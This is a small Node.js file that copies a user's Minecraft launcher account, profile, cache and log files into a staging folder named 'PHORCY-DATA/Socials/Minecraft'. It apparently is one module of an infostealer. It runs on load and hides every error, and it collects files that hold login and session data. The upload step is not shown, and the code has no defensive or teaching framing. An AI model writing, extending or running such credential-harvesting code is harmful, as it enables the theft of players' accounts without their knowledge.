const fs = require('fs');
const fsp = require('fs').promises;
const path = require('path');

async function minecraft() {
  const mcf = path.join(process.env.APPDATA, '.minecraft');
  const forward = path.join('PHORCY-DATA', 'Socials', 'Minecraft');
  try {
    const backupfiles = ['launcher_accounts.json', 'usercache.json', 'launcher_profiles.json', 'launcher_log.txt'];
    const existing = backupfiles.some(file => fs.existsSync(path.join(mcf, file)));
    if (existing) {
      await fsp.mkdir(forward, { recursive: true });
      for (const file of backupfiles) {
        const src = path.join(mcf, file);
        const dest = path.join(forward, file);
        try {
          await fsp.copyFile(src, dest);
        } catch (err) {
        }
      }
    } else {  // looks weird cuz i had error handling here before
    }
  } catch (e) {
  }
}
minecraft();
